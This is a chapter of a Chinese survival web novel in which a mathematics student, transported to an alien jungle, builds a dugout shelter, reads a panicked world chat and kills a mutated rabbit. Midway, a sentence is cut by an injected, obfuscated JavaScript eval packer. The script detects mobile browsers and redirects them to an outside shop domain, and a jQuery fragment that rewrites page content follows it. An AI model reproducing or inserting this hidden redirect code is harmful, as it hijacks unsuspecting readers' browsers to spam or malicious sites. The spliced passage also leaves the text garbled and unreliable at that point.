苏然被传送的前一秒,正在算一道偏微分方程。
那是她论文的核心部分,草稿纸上密密麻麻写满了推导过程,只剩下最后一步边界条件的验证。她的笔尖刚触到纸面,手指突然一空——笔消失了,纸消失了,书桌、台灯、窗外的夜色,全部消失了。
没有预兆,没有声音。
像是有一只无形的手,把她从这个宇宙的褶皱里硬生生拽了出来。
强烈的失重感攫住了她。
身体在坠落,耳膜被气压挤压出尖锐的鸣响。眼前是令人心悸的白色光芒,不是阳光的白,是医院手术室里那种冰冷的、没有温度的白。她的意识本能地想要尖叫,但某种更深层的东西按住了她的喉咙。
数据不够。尖叫没有意义。
白光在下一秒炸开。
落地时的冲击力比预想中软。她睁开眼,发现自己趴在一片潮湿的泥土上,鼻尖弥漫着植物的腐甜味,混合着某种矿物质的微凉气息。
头顶不是天花板,而是遮天蔽日的树冠。巨木参天,树干的直径比她见过的任何古树都要粗,树冠交叠成一片深绿色的穹顶,只有斑驳的光影从缝隙中漏下来。空气温润而陌生,每一次呼吸都带着说不清的沉重感——不是污染,而是一种她从未接触过的成分,让肺泡本能地收缩了一下。
她坐起来,右手还攥着那支笔。
一只普通的黑色水笔,刚才还在写论文。现在它没有任何用处,但指腹摩挲过笔身的触感让她多握了一会儿,像溺水的人抓住了最后一块浮木。
确认自己有没有受伤。
她快速检查了四肢和躯干。没有骨折,没有流血,没有明显的钝痛。落地时似乎有什么东西缓冲了冲击力——她低头看向身下的泥土,发现地面覆着一层厚厚的腐殖层,踩上去会微微下陷,像天然的缓冲垫。
周围有没有直接威胁?
她抬头,目光扫过视野可及的范围。左侧是更密集的树林,光线昏暗;右侧十几步外有一道隐约的反光,应该是水流;正前方是一棵至少需要五个人才能合抱的巨木,树干表面覆着青苔,根部隆起的板状根像一面矮墙。她没有看到任何会动的东西,没有听到任何异常的声音。
安静。一种并不平静的安静。
很远的地方传来某种兽类的嗥叫,声波在密林中闷闷地回荡,听不出方向。
她在脑子里给这片区域建立了初始坐标系。以自己为原点,水流的方向为y轴正方向,正前方的巨木为x轴参考点。
做完这三件事,她用了大概两分钟。
然后她的手腕亮了。
一道环形的光芒从皮肤下浮现出来,凝聚成半透明的投影屏幕。界面极简,只有几行冷冰冰的文字:
【荒界求生】欢迎您。
编号:SY-1147
状态:存活
新手保护期剩余:7天
当前任务:【安身之所】——请在24小时内建造一个简易庇护所。评分达到10分即可完成。奖励:基础工具包。
屏幕下方有一排图标。大多数是灰色不可用的,只有【任务】、【背包】和【世界频道】亮着。
她点开世界频道。
消息像瀑布一样刷过去,快得几乎看不清楚。
“救命!!!!我在哪!!!!”
“有人吗有人吗有人吗有人吗有人吗”
“我刚刚还在教室上课啊操”
“这是哪里这是什么情况啊啊啊”
“我要回家我要回家我要回家”
“有没有人知道怎么关掉这个屏幕”
“我试着咬了自己一口,很疼,这不是梦”
她的目光快速扫过这些消息,没有停留。手指在屏幕上滑动,把滚动速度调到最慢,一条条往下翻。
哭喊。求救。质问。无意义的重复。
她在寻找有价值的信息。
“……好像在森林里?有没有别人也在森林里的?”
“我在沙漠!!我感觉我要晒干了!!!”
“有人看到那个【安身之所】的任务了吗,你们庇护所评分多少及格?”
她停顿了一下。这条消息来自编号0421,是频道里第一条试图解决问题的发言。她记住了这个编号。
继续往下翻。
“……这里好像不是地球了。我看到了两个月亮。”
她抬起头。但现在头顶只有树冠,看不到天空。
她收回视线,继续在频道里收集信息。把所有提到“怪物”、“幻觉”、“奇怪声音”的发言都标记下来,存入草稿箱。这些是样本。样本越多,越能还原这个世界的真相。
频道里有人在哭。
“我好害怕。”
她看着这条消息,没有回复。她不太会安慰人。她唯一会做的事情,就是在看到问题之后,找到解决问题的方法。
她关掉世界频道,站起来,拍了拍膝盖上的泥土。
先把现在的问题解决掉。
任务说得很清楚:找一个安全的地方,建庇护所。
她没有立刻去砍树。而是花了大概十分钟,沿着以原点为中心、半径两百米的范围内走了一圈。她需要一个最优解。
地势不能太低,否则下雨积水。不能太高,否则风大且取水不便。要背靠坚固的天然掩体,减少防御面积。要靠近水源,但不能太近,以防夜间有动物来饮水。要避开兽道,那些被踩实的泥土和树干的擦痕就是路标。
她找到了。
一处略微隆起的高地,坡度不超过十五度,排水不会出问题。背后是一棵巨木的板状根,侧面和后方都有天然屏障。前方视野开阔,能清晰地看到溪流的反光,直线距离目测一百二十米。地面上只有低矮的蕨类植物,没有大型树根需要处理。
就在这儿。
她没有搭棚子。
棚子太脆弱。风力一大就掀翻,遇到野兽也挡不住。她选择挖地窖。
用尖头石块在泥土上画出长方形——长两米,宽一米五,不多不少。她蹲下来,用捡来的石片开始挖。石片边缘不算锋利,但插入腐殖层之后,下面的泥土比她想象中松软。这应该是长期的落叶堆积和根系活动形成的土层结构,比挖掘城市里的夯土容易得多。
第一铲下去,泥土的腥味涌上来。她跪在地上,把泥土一捧一捧地刨出来,堆在旁边。动作不算快,但每一组动作之间有规律性的停顿——她在给自己设定节奏。一组十下,休息十秒,下一组。
数学系的教授曾经说过她有一个天赋:能对任何事情保持耐心,只要这件事情有意义。
她不知道自己挖了多久。手环上应该有计时功能,但她暂时没空去看。泥土塞进指甲缝里,石片的棱角磨得虎口发红。汗水顺着额角滑下来,她用袖子擦了一下,袖口本来就沾着土,越擦越脏,索性不管了。
世界频道刷新了一下。
有人在抱怨:“根本搭不好啊,几根树枝撑着就塌了,评分才2分。”
又有人说:“我没力气了,我没吃东西。我好饿。”
还有人的消息很短,只有一个字:“冷。”
她在挖掘的间歇看了一眼,什么也没回复。她不太确定自己能说什么。“加油”?那是废话。“别怕”?她自己倒是不怕,但这种话说出来毫无帮助。
她又挖了一小时。
地窖的深度逐渐超过膝盖。她把挖出来的泥土堆在洞口两侧,形成矮墙,增强防御。然后去找了几根粗壮的树枝,用石片削平两端,架在洞口上方作为横梁。横梁之上铺一层细树枝,再铺一层蕨叶,最后覆上泥土。留一个斜向下的入口,刚好够一个人蜷身进入。入口方向背对水流,避免雨水倒灌。
天快黑的时候,她听到沙沙的声音。
不是风声。
她停下动作,缓慢地蹲下,把自己压低。目光穿过灌木丛,落在溪流方向的空地上。
一只生物。
大小接近成年野兔,但皮毛不是棕色的,是一种被污染的灰绿色。它的耳朵没有竖起来,而是贴着脑袋往后耷拉。最引人注意的是它的眼睛——不是圆形的瞳孔,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872089|212316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是一条细长的竖线,正贪婪地盯着溪边的某处。
她没有动。
那只生物在溪边喝水,低头抬头的动作十分警惕。但它一直在面对同一个方向——那里有一丛开着紫色小花的矮草。每次它喝完水,都会绕开那丛草,从侧面跳过去。
苏然的目光落在那丛紫色小花上。
花瓣很小,四瓣展开,花蕊是黑色的。没有风,但花丛在微微颤动。
那不是花。
她认出来的同时,那丛“花”动了。几条隐藏在泥土里的藤蔓弹射而出,卷向野兔的腿。野兔受惊,猛地侧跳,但藤蔓的速度更快,擦过它的后腿,带下了一撮皮毛。
野兔发出尖锐的叫声,转身朝苏然的方向冲过来。
她的大脑开始运行。
距离不到三十米。速度很快。那条受伤的后腿虽然还在发力,但每次落地都会有轻微的滞涩——肉眼几乎看不出来,但她注意到了。
藤蔓没有追。它的攻击范围有限。
野兔的奔跑方向是直线。它被吓到了,只顾着远离威胁,没有规避障碍。
她手里只有一把削尖的木棍。
她蹲在原地,目光锁定野兔的轨迹。一步,两步,三步。从它的步幅和频率推算落点,从落点推算它到达身前的时间。不精确,变量太多,但够用。
她把木棍斜插在身前的地面上,尖端向上,角度约三十度。然后后退半步。
野兔冲过来的时候,她侧身。
不是躲开。是让出空间。木棍的角度刚好对向它扑起的方向,没有主动刺出,只是立在那里。
野兔的左耳先颤了一下。
每次扑击前都是这个征兆——她在刚才那几秒里数过三次,每次都一致。
她把手放在木棍的末端,调整了零点三厘米的偏移。
野兔扑过来,腹部撞上了木棍的尖端。
冲击力顺着木棍传到她手心。她顺着这股力道往后退了半步,卸掉冲击。野兔挣扎了两下,不动了。
她松开木棍,蹲下来,确认它已经死亡。
没有多余的情绪。没有“第一次杀生”的恐惧或内疚。她只是在做一道题:有威胁的生物接近,排除威胁。步骤一,步骤二,步骤三。完成。
她把野兔拎起来,掂了掂重量。大概三四斤。可以吃。
把它放在地窖入口旁边,用蕨叶盖上。然后她坐进地窖里,蜷起膝盖,把后背靠在泥土墙壁上。
地窖内部不算宽,但够一个人躺平。头顶是树枝和泥土搭成的顶,空隙处能看到一点外面的天光。空气里有泥土的腥味,但不闷,入口的斜角能让空气流通。
她抬起手腕,点开手环。
世界频道还在刷屏。
“……我好像看到什么东西在树林里晃,我好怕。”
“求求了,有没有办法睡觉啊,我在地上一躺就开始发抖。”
“我好害怕我好害怕我好害怕我真的好害怕”
她看着这些消息,又看了一眼自己的手环界面。情绪值那一栏,从她落地到现在,一直是同一个数字——100,恒定不变的100。这让她有些疑惑,但现在没有足够的数据去解释。
她在频道输入框里打了几个字:“多找些蕨类植物铺在地上,可以隔绝地气,比直接躺地上暖和。”
发送。编号SY-1147。
这条消息迅速被潮水般的新消息淹没。
她不知道有没有人看到,也不知道有没有人照做。她只是把自己知道的事情说出来。
她关掉屏幕,在黑暗中闭上眼睛。
睡前最后一件清醒的事,是捡起一块边缘锐利的碎石,在地窖墙壁上划下第一道刻痕。
第一天。存活。
墙上的刻痕很深,触感粗糙。她的指尖在刻痕上停留了一秒,然后收回手,缩进袖子,在泥土的气息里沉入浅眠。
手环在黑暗中安静地亮着微光。
情绪值:100。
状态:存活。
新手保护期剩余:6天。